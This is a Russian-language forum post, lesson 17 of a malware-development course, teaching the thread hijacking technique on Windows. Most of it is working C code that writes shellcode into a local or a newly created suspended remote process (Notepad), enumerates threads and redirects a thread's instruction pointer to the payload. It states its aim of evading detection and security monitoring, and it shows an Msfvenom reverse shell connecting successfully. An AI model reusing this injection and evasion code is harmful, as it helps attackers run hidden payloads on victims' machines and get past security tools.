Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1695460711350.png


Thread Hijacking (Похищение потока) - это техника, позволяющая выполнять полезную нагрузку без создания нового потока. Этот метод работает путем приостановки потока и обновления регистра адреса команды, указывающего на следующую инструкцию в памяти, чтобы он указывал на начало полезной нагрузки. Когда поток возобновляет выполнение, выполняется полезная нагрузка.

В этой статье будем использовать Msfvenom TCP reverse shell payload, а не полезную нагрузку calc., потому что она сохраняет поток после выполнения, тогда как полезная нагрузка calc завершила бы поток после выполнения.
Тем не менее, обе полезные нагрузки работают, но сохранение потока после выполнения позволяет проводить дальнейший анализ.

Контекст Потока

Прежде чем можно объяснить эту технику, необходимо понять что такое контекст потока. У каждого потока есть приоритет планирования и он содержит ряд структур, которые система сохраняет в контексте потока. Контекст потока включает всю информацию, необходимую потоку для бесперебойного выполнения, включая набор регистров ЦПУ потока и стек.

GetThreadContext и SetThreadContext - это два WinAPI, которые можно использовать для получения и установки контекста потока соответственно.

GetThreadContext заполняет структуру CONTEXT, которая содержит всю информацию о потоке. В то время как SetThreadContext принимает заполненную структуру CONTEXT и устанавливает ее для указанного потока.

Эти два WinAPI играют ключевую роль в похищении потока, поэтому было бы полезно изучить WinAPI и связанные с ними параметры.

Похищение Потока vs Создание Потока

Первый вопрос, который нужно решить: почему похищать созданный поток для выполнения полезной нагрузки, а не выполнять полезную нагрузку, используя новый созданный поток?

Основное различие - это видимость полезной нагрузки и скрытность.
Создание нового потока для выполнения полезной нагрузки раскроет базовый адрес полезной нагрузки и, следовательно, содержание полезной нагрузки, так как запись нового потока должна указывать на базовый адрес полезной нагрузки в памяти.
Это не так при похищении потока, потому что запись потока будет указывать на обычную функцию процесса, и поток будет выглядеть безобидно.

Шаги Похищения Локального Потока

В этом разделе описываются необходимые шаги для выполнения похищения потока, созданного в локальном процессе.

Стоит отметить, что невозможно похитить главный поток локального процесса, потому что целевой поток сначала должен быть переведен в приостановленное состояние. Это проблематично при нацеливании на главный поток, так как именно он выполняет код и не может быть приостановлен. Поэтому не стоит нацеливаться на главный поток при выполнении похищения локального потока.

Сначала будет вызвана CreateThread для создания потока и установки безвредной функции в качестве записи потока. Затем дескриптор потока будет использоваться для выполнения необходимых шагов, чтобы похитить поток и выполнить полезную нагрузку.

Изменение Контекста Потока

Следующим шагом является получение контекста потока с целью его изменения и указания на полезную нагрузку. Когда поток возобновляет выполнение, выполняется полезная нагрузка.

Как было упомянуто ранее, GetThreadContext будет использоваться для получения структуры CONTEXT целевого потока. Некоторые значения структуры будут изменены, чтобы изменить контекст текущего потока с помощью SetThreadContext.
Значения, которые меняются в структуре, решают, что поток будет выполнять далее. Это значения регистров RIP (для 64-битных процессоров) или EIP (для 32-битных процессоров).

Регистры RIP и EIP, также известные как регистры указателей инструкций, указывают на следующую инструкцию для выполнения. Они обновляются после каждой выполненной инструкции.

Пример функции похищения потока RunViaClassicThreadHijacking - это специально созданная функция, которая выполняет похищение потока.

Функция требует 3 аргумента:

hThread - Дескриптор приостановленного потока, который будет похищен.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.

C:
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    PVOID    pAddress         = NULL;
    DWORD    dwOldProtection  = NULL;
    CONTEXT  ThreadCtx        = {
        .ContextFlags = CONTEXT_CONTROL
    };

    // Allocating memory for the payload
    pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL){
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Copying the payload to the allocated memory
    memcpy(pAddress, pPayload, sPayloadSize);

    // Changing the memory protection
    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the original thread context
    if (!GetThreadContext(hThread, &ThreadCtx)){
        printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Updating the next instruction pointer to be equal to the payload's address
    ThreadCtx.Rip = pAddress;

    // Updating the new thread context
    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

Пример использования

Поскольку RunViaClassicThreadHijacking требует дескриптор потока, главная функция должна будет его предоставить. Как уже упоминалось ранее, целевой поток должен находиться в приостановленном состоянии, чтобы RunViaClassicThreadHijacking успешно похитил поток.

Для создания нового потока будет использован WinAPI CreateThread. Новый поток должен выглядеть максимально безобидно, чтобы избежать обнаружения. Это можно достичь, создав безобидную функцию, которая будет выполняться этим новым потоком.

Следующим шагом является приостановка нового потока, чтобы GetThreadContext завершился успешно. Это можно сделать двумя способами:
  1. Передача флага CREATE_SUSPENDED в параметр dwCreationFlags CreateThread. Этот флаг создает поток в приостановленном состоянии.
  2. Создание обычного потока, но его последующая приостановка с помощью WinAPI SuspendThread.
Будет использован первый метод, так как он требует меньше вызовов WinAPI. Однако оба метода потребуют возобновления потока после выполнения RunViaClassicThreadHijacking. Это будет достигнуто с использованием WinAPI ResumeThread, который требует только дескриптор приостановленного потока.

Главная Функция

В главной функции будет создан безобидный поток, который сначала будет выполнять безобидную заглушечную функцию, которую затем будут похищать с использованием RunViaClassicThreadHijacking для выполнения полезной нагрузки.

C:
int main() {

    HANDLE hThread = NULL;

    // Создание безобидного потока в приостановленном состоянии
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
    if (hThread == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Похищение созданного потока
    if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
        return -1;
    }

    // Возобновление приостановленного потока, чтобы он выполнил наш шеллкод
    ResumeThread(hThread);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

Демонстрация

mainCRTStartup - это главный поток, выполняющий главную функцию, а поток DummyFunction - это поток, который мы похищаем.

1695461900136.png


Успешный коннект с шеллом

1695461963846.png


1695461922259.png


Похищение Потока - Создание Удаленного Потока

Давайте теперь попробуем ту же технику для удаленного процесса, а не для локального.

Еще одно заметное различие заключается в том, что жертвенный поток не будет создан в удаленном процессе. Хотя это можно сделать с помощью вызова WinAPI CreateRemoteThread, это функция, которая часто злоупотребляется, и поэтому она активно мониторится системами безопасности.

Лучший подход заключается в создании жертвенного процесса в приостановленном состоянии с помощью CreateProcess, который создает все свои потоки в приостановленном состоянии, что позволяет их похищать.

Шаги Похищения Удаленного Потока

В этом разделе описываются необходимые шаги для выполнения похищения потока, находящегося в удаленном процессе.

WinAPI CreateProcess CreateProcess

Это мощный и важный WinAPI, имеющий различные применения. Для того чтобы пользователи имели твердое понимание, ниже объяснены важные параметры функции.

C:
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

Параметры lpApplicationName и lpCommandLine представляют собой имя процесса и его аргументы командной строки соответственно. Например, lpApplicationName может быть C:\Windows\System32\cmd.exe, а lpCommandLine может быть /k whoami.
В качестве альтернативы, lpApplicationName может быть установлен в NULL, но lpCommandLine может содержать имя процесса и его аргументы, C:\Windows\System32\cmd.exe /k whoami. Оба параметра помечены как необязательные, что означает, что для новосозданного процесса не требуются никакие аргументы.

dwCreationFlags - это параметр, который контролирует класс приоритета и создание процесса. Возможные значения для этого параметра можно найти здесь (примечание: ссылка не предоставлена в исходном тексте). Например, используя флаг CREATE_SUSPENDED, создается процесс в приостановленном состоянии.

lpStartupInfo - это указатель на STARTUPINFO, который содержит детали, связанные с созданием процесса. Единственный элемент, который нужно заполнить, - это DWORD cb, который представляет собой размер структуры в байтах.

lpProcessInformation - это выходной параметр, который возвращает структуру PROCESS_INFORMATION. Структура PROCESS_INFORMATION представлена ниже.

C:
typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // Дескриптор только что созданного процесса.
  HANDLE hThread;         // Дескриптор основного потока только что созданного процесса.
  DWORD  dwProcessId;     // Идентификатор процесса
  DWORD  dwThreadId;      // Идентификатор основного потока
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

Эта структура содержит информацию о новосозданном процессе и его основном потоке.

Использование переменных окружения

Последний оставшийся компонент для создания процесса - это определение полного пути к процессу.
Жертвенный процесс будет создан на основе бинарного файла, находящегося в каталоге System32. Можно предположить, что путь будет C:\Windows\System32 и жестко закодировать это значение, но всегда безопаснее программно определить путь. Д
ля этого будет использована функция WinAPI GetEnvironmentVariableA.
GetEnvironmentVariableA извлекает значение указанной переменной окружения, которой в данном случае будет "WINDIR".

"WINDIR" - это переменная окружения, которая указывает на каталог установки операционной системы Windows. На большинстве систем этот каталог находится в "C:\Windows". Значение переменной окружения "WINDIR" можно получить, введя "echo %WINDIR%" в командной строке или просто введя %WINDIR% в строке поиска проводника файлов.

C:
DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

Функция создания жертвенного процесса

Функция CreateSuspendedProcess используется для создания жертвенного процесса в приостановленном состоянии. Она требует 4 аргумента:
  • lpProcessName - имя процесса для создания.
  • dwProcessId - указатель на DWORD, который получает идентификатор процесса.
  • hProcess - указатель на HANDLE, который получает дескриптор процесса.
  • hThread - указатель на HANDLE, который получает дескриптор потока.
C:
BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
    CHAR lpPath[MAX_PATH * 2];
    CHAR WnDr[MAX_PATH];

    STARTUPINFO Si = { 0 };
    PROCESS_INFORMATION Pi = { 0 };

    // Очистка структур, устанавливая значения членов в 0
    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Установка размера структуры
    Si.cb = sizeof(STARTUPINFO);

    // Получение значения переменной окружения %WINDIR%
    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Создание полного пути к целевому процессу
    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
    printf("\n\t[i] Running : \"%s\" ... ", lpPath);

    if (!CreateProcessA(
        NULL,                   // Нет имени модуля (использовать командную строку)
        lpPath,                 // Командная строка
        NULL,                   // Дескриптор процесса не наследуется
        NULL,                   // Дескриптор потока не наследуется
        FALSE,                  // Установить наследование дескриптора в FALSE
        CREATE_SUSPENDED,       // Флаг создания
        NULL,                   // Использовать окружение родителя
        NULL,                   // Использовать рабочий каталог родителя
        &Si,                    // Указатель на структуру STARTUPINFO
        &Pi)) {                 // Указатель на структуру PROCESS_INFORMATION

        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] DONE \n");

    // Заполнение выходных параметров результатами CreateProcessA
    *dwProcessId = Pi.dwProcessId;
    *hProcess = Pi.hProcess;
    *hThread = Pi.hThread;

    // Проверка, что получены все необходимые значения
    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

Функция внедрения в удаленный процесс

Следующим шагом после создания целевого процесса в приостановленном состоянии является внедрение полезной нагрузки с использованием функции InjectShellcodeToRemoteProcess.
Полезная нагрузка записывается только в удаленный процесс, но не выполняется. Базовый адрес затем сохраняется для последующего использования через похищение потока.

C:
BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
    SIZE_T sNumberOfBytesWritten = NULL;
    DWORD dwOldProtection = NULL;

    *ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (*ppAddress == NULL) {
        printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);

    if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
        printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

Функция похищения удаленного потока

После создания приостановленного процесса и записи полезной нагрузки в удаленный процесс, заключительный этап заключается в использовании дескриптора потока, возвращенного CreateSuspendedProcess, чтобы выполнить похищение потока. Эта часть такая же, как и та, что демонстрировалась в части похищения локального потока.

В качестве итога, функция GetThreadContext используется для извлечения контекста потока, обновления регистра RIP, указывающего на записанную полезную нагрузку, вызова SetThreadContext для обновления контекста потока и, наконец, использования ResumeThread для выполнения полезной нагрузки.

Все это демонстрируется в пользовательской функции ниже, HijackThread, которая принимает два аргумента:
  • hThread - поток для похищения.
  • pAddress - указатель на базовый адрес полезной нагрузки, которая будет выполнена.
C:
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
    CONTEXT ThreadCtx = {
        .ContextFlags = CONTEXT_CONTROL
    };

    // получение исходного контекста потока
    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // обновление указателя на следующую инструкцию, чтобы он был равен адресу нашего шеллкода
    ThreadCtx.Rip = pAddress;

    // установка нового обновленного контекста потока
    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // возобновление приостановленного потока, таким образом запуская нашу полезную нагрузку
    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

Демо

В этой демонстрации используется Notepad.exe в качестве жертвенного процесса, его поток похищается и выполняется shellcode от Msfvenom для запуска калькулятора.

1695463195352.png



Перечисление локальных потоков

До сих пор, когда производилось похищение локального потока, целевой поток создавался с использованием CreateThread, и его контекст изменялся. В этой части будет продемонстрирован альтернативный метод, при котором работающие потоки системы перечисляются с помощью CreateToolhelp32Snapshot, а затем похищаются.

Перечисление потоков

Вспомните использование CreateToolhelp32Snapshot из предыдущих частей, где WinAPI использовался для получения снимка процессов системы. В этом модуле используется тот же WinAPI, но с другим значением для параметра dwFlags.
Чтобы перечислить работающие потоки системы, необходимо указать флаг TH32CS_SNAPTHREAD. Используя этот флаг, CreateToolhelp32Snapshot возвращает структуру THREADENTRY32, показанную ниже.

C:
typedef struct tagTHREADENTRY32 {
  DWORD dwSize;                       // sizeof(THREADENTRY32)
  DWORD cntUsage;
  DWORD th32ThreadID;                 // ID потока
  DWORD th32OwnerProcessID;           // PID процесса, создавшего поток.
  LONG  tpBasePri;
  LONG  tpDeltaPri;
  DWORD dwFlags;
} THREADENTRY32;

Каждый работающий поток имеет свою собственную структуру THREADENTRY32 на захваченном снимке.

Определение владельца потока согласно документации Microsoft:

Чтобы определить потоки, которые принадлежат конкретному процессу, сравните его идентификатор процесса с членом th32OwnerProcessID структуры THREADENTRY32 при перечислении потоков.

Другими словами, чтобы определить процесс, к которому принадлежит поток, сравните целевой PID с THREADENTRY32.th32OwnerProcessID, который является PID процесса, создавшего поток.
Если PID совпадают, то в настоящее время перечисляемый поток принадлежит целевому процессу.

Необходимые WinAPI

Будут использованы следующие WinAPI для выполнения перечисления потока:
  • CreateToolhelp32Snapshot - используется с флагом TH32CS_SNAPTHREAD для получения снимка всех потоков, работающих в системе.
  • Thread32First - используется для получения информации о первом потоке, захваченном на снимке.
  • Thread32Next - используется для получения информации о следующем потоке на захваченном снимке.
  • OpenThread - используется для открытия дескриптора целевого потока с использованием его идентификатора потока.
  • GetCurrentProcessId - используется для получения PID локального процесса. Поскольку локальный процесс является целевым процессом, требуется его PID, чтобы определить, принадлежат ли потоки этому процессу.
Рабочие потоки

Прежде чем погружаться в код перечисления потоков, важно понять концепцию рабочих потоков. Хотя CreateThread не используется в коде, операционная система Windows создаст рабочие потоки в процессе. Эти рабочие потоки являются допустимыми целями для похищения потока. Пример этих рабочих потоков можно увидеть ниже.

1695463510235.png


Потоки, показанные на изображении выше, например, ntdll.dll!EtwNotificationRegister+0x2d0, создаются операционной системой для выполнения функции EtwNotificationRegister, которая связана с ETW - трассировкой событий для Windows.
ETW будет объяснено в будущих модулях, но на данный момент достаточно понимать, что эта функция используется для уведомления операционной системы, когда в процессе происходит определенное событие.

Функция перечисления потоков GetLocalThreadHandle использует ранее упомянутые шаги для выполнения перечисления потоков.

Она принимает 3 аргумента:
  • dwMainThreadId - Идентификатор главного потока локального процесса.
  • dwThreadId - Указатель на DWORD, который получает ID потока, который можно захватить.
  • hThread - Указатель на HANDLE, который получает дескриптор для потока, который можно захватить.
C:
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

    // Получение ID локального процесса
    DWORD           dwProcessId  = GetCurrentProcessId();
    HANDLE          hSnapShot    = NULL;
    THREADENTRY32   Thr          = {
        .dwSize = sizeof(THREADENTRY32)
    };

    // Создание снимка потоков текущего запущенного процесса
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом потоке, обнаруженном в снимке.
    if (!Thread32First(hSnapShot, &Thr)) {
        printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Если PID потока равен PID целевого процесса, то
        // этот поток выполняется в целевом процессе
        // 'Thr.th32ThreadID != dwMainThreadId' используется для исключения главного потока нашего локального процесса
        if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {

            // Открытие дескриптора потока
            *dwThreadId  = Thr.th32ThreadID;
            *hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

            if (*hThread == NULL)
                printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

            break;
        }

    // Пока в снимке остаются потоки
    } while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwThreadId == NULL || *hThread == NULL)
        return FALSE;
    return TRUE;
}

Функция локального перехвата потока

После получения действительного дескриптора целевого потока его можно передать в функцию HijackThread.
WinAPI SuspendThread будет использован для приостановки потока, а затем GetThreadContext и SetThreadContext будут использованы для обновления регистра RIP, чтобы он указывал на базовый адрес загруженного полезного кода. Кроме того, перед перехватом потока полезный код должен быть записан в память локального процесса.

C:
BOOL HijackThread(HANDLE hThread, PVOID pAddress) {

    CONTEXT    ThreadCtx = {
        .ContextFlags = CONTEXT_ALL
    };

    SuspendThread(hThread);

    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    ThreadCtx.Rip = pAddress;

    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[#] Нажмите <Enter> для выполнения ... ");
    getchar();

    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

Демонстрация

Обратите внимание, что выполнение полезного кода может занять некоторое время, так как перехваченный поток не является главным потоком и не выполняется непрерывно.

1695464080166.png


Кроме того, в зависимости от полезной нагрузки, локальный процесс может завершиться сбоем после выполнения. Например, если полезная нагрузка предназначена для сервера управления и контроля, процесс будет продолжать работу. Однако, если использовался shellcode calc от Msfvenom, процесс завершится сбоем, потому что shellcode calc от Msfvenom завершает вызывающий поток.

1695464138026.png

Перечисление удаленных потоков


В этой части рассматривается использование CreateToolhelp32Snapshot для перечисления потоков удаленного процесса. В GetLocalThreadHandle, показанном ранее, внесены небольшие изменения, чтобы сделать его работу с удаленными потоками.

Логика остается прежней, где используются CreateToolhelp32Snapshot, Thread32First и Thread32Next для перечисления потоков целевого процесса.

Отличие при нападении на удаленные процессы заключается в том, что основной поток также может быть целью для захвата.

Функция перечисления удаленных потоков


GetRemoteThreadhandle перечисляет потоки удаленного процесса. Он принимает 3 аргумента:

dwProcessId - это PID целевого процесса. Получить его можно например так:Уроки - Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
dwThreadId - указатель на DWORD, который получит идентификатор потока целевого процесса.
hThread - указатель на HANDLE, который получит дескриптор удаленного потока.

Дополнительное отличие в реализации функции GetRemoteThreadhandle заключается в том, что нужно предоставить целевой PID.
В случае целевого процесса, который работает локально, это не требуется, потому что GetCurrentProcessId WinAPI извлекает PID локального процесса.

C:
BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

    HANDLE         hSnapShot  = NULL;
    THREADENTRY32  Thr        = {
        .dwSize = sizeof(THREADENTRY32)
    };

    // Получение снимка потоков текущего выполняемого процесса
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом потоке, найденном в снимке.
    if (!Thread32First(hSnapShot, &Thr)) {
        printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Если PID потока равен PID целевого процесса, то
        // этот поток работает внутри целевого процесса
        if (Thr.th32OwnerProcessID == dwProcessId){

            *dwThreadId  = Thr.th32ThreadID;
            *hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

            if (*hThread == NULL)
                printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

            break;
        }

    // Пока в снимке остаются потоки
    } while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwThreadId == NULL || *hThread == NULL)
        return FALSE;
    return TRUE;
}

Функция Перехвата удаленных потоков

Эта часть аналогична функции перехвата, рассмотренной в предыдущих модулях. Получите дескриптор удаленного процесса, внедрите полезную нагрузку в удаленный процесс, а затем выполните захват потока.

C:
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

    CONTEXT ThreadCtx = {
        .ContextFlags = CONTEXT_ALL
    };

    // Приостановите поток
    SuspendThread(hThread);

    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    ThreadCtx.Rip = pAddress;

    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("\t[#] Нажмите <Enter> для выполнения ... ");
    getchar();

    ResumeThread(hThread);

    WaitForSingleObject(hThread, INFINITE);

    return TRUE;
}

Демонстрация

Получение PID целевого процесса. В данном случае целевым процессом является Notepad.exe.

1695464567919.png


Внедрение полезной нагрузки и захватит идентификатор потока 7136. Стек потока показывает, что адрес полезной нагрузки — это следующая задача для выполнения.

1695464626189.png


В итоге, полезная нагрузка выполнена.

1695464654925.png
 
Последнее редактирование:

HMCoba

Активный пользователь
Активный
Регистрация
22.04.2023
Сообщения
158
Репутация
114
Отличный пост, всё очень понятно и доходчиво пояснил!
Спасибо!
 
Последнее редактирование:

HMCoba

Активный пользователь
Активный
Регистрация
22.04.2023
Сообщения
158
Репутация
114
Будут ли в дальнейшем, расматриватся разработки вирусов, для мобильных устройств?
 
Последнее редактирование:

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ